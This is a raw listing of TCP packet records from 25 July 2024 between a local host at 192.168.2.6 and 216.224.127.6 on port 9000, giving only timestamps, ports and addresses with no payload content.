Jul 25, 2024 13:23:23.477761030 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.477839947 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.477849960 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.477861881 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.477880955 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.477912903 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.478033066 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.478043079 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.478054047 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.478065968 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.478084087 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.478113890 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.478310108 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.478321075 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.478332043 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.478343964 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.478363991 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.478390932 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.483520985 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.483532906 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.483545065 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.483571053 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.483649969 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.483659983 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.483669996 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.483680964 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.483691931 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.483691931 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.483716011 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.483748913 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.483820915 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.483829975 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.483866930 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.483957052 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.483968019 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.483978987 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.483995914 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.484146118 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.484158039 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.484168053 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.484199047 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.484227896 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.484275103 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.492968082 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.492988110 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.492996931 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.493021965 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.493035078 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.493046045 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.493055105 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.493098974 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.493108034 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.493119001 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.493148088 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.493223906 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.493235111 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.493244886 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.493257046 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.493273020 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.493294954 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.493410110 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.493439913 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.493449926 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.493474960 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.493570089 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.493580103 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.493590117 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.493617058 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.493652105 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.498889923 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.498924017 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.498934984 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.498966932 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.499012947 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.499025106 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.499061108 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.499105930 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.499118090 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.499145031 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.499264002 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.499274969 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.499285936 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.499298096 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.499310017 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.499310970 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.499331951 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.499353886 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.499517918 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.499530077 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.499541998 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.499567032 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.499641895 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.499653101 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.499663115 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.499680996 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.499708891 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.500098944 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.500157118 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.500168085 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.500191927 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.509310007 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.509326935 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.509340048 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.509377956 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.509385109 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.509398937 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.509409904 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.509413004 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.509458065 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.509587049 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.509598017 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.509609938 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.509620905 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.509633064 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.509634018 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.509646893 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.509656906 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.509680986 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.509865999 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.509912014 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.509937048 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.509979963 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.509993076 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.510023117 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.514724970 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.514772892 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.514785051 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.514786959 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.514827013 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.514852047 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.514919043 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.514930010 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.514941931 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.514952898 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.514957905 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.514978886 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.515100002 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.515110970 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.515121937 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.515139103 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.515180111 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.555672884 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.555752993 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.555844069 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.555924892 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.555938005 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.555951118 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.555963993 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.555982113 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.556020975 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.556063890 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.556076050 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.556087971 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.556129932 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.556216955 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.556230068 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.556263924 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.556389093 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.556400061 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.556437016 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.560287952 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.560350895 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.560410976 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.560427904 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.560488939 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.560717106 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.560729027 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.560775995 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.560861111 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.560874939 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.560884953 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.560997009 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.565454960 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.565469980 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.565481901 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.565521002 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.565550089 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.565582991 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.565594912 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.565608025 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.565619946 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.565648079 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.565685034 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.565777063 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.565789938 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.565803051 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.565813065 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.565826893 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.565851927 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.565927982 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.565942049 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.565953016 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.565964937 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.565968990 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.565990925 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.566137075 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.566179991 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.566283941 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.566294909 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.566306114 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.566334009 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.566414118 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.566454887 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.567831039 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.571630955 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.571686029 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.571768045 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.571779966 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.571791887 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.571804047 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.571815014 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.571825981 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.571902037 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.571914911 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.571940899 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.572002888 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.572215080 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.572227001 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.572268963 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.572362900 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.572374105 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.572386980 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.572407961 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.581731081 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.581746101 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.581758976 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.581801891 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.581823111 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.581856966 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.581870079 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.581901073 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.581912041 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.582196951 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.582251072 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.582386017 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.582396984 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.582408905 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.582434893 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.582540035 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.582551956 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.582564116 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.582587004 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.582617998 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.582670927 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.587570906 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.587584972 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.587599039 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.587630987 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.587657928 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.587728977 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.587739944 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.587750912 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.587762117 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.587781906 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.587815046 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.587899923 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.587912083 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.587922096 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.587933064 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.587944031 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.587949991 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.587955952 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.587966919 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.587973118 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.588002920 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.588320971 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.588332891 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.588344097 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.588366985 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.588387012 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.588495970 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.588506937 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.588519096 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.588531971 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.588545084 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.588577032 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.597121000 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.597136021 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.597147942 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.597193956 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.597296953 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.597307920 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.597321033 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.597332001 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.597343922 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.597346067 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.597387075 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.597501993 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.597516060 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.597527027 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.597538948 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.597548962 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.597551107 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.597564936 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.597572088 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.597620964 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.602621078 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.602636099 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.602648973 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.602684021 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.602735996 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.602749109 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.602760077 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.602771997 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.602793932 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.602826118 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.602952957 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.602965117 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.602976084 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.602988005 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.602999926 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.603029013 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.603112936 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.603122950 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.603135109 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.603149891 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.603159904 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.603180885 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.642993927 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.643028975 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.643131018 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.643137932 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.643146038 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.643157005 CEST	9000	49712	216.224.127.6	192.168.2.6
Jul 25, 2024 13:23:23.643186092 CEST	49712	9000	192.168.2.6	216.224.127.6
Jul 25, 2024 13:23:23.643208027 CEST	49712	9000	192.168.2.6	216.224.127.6
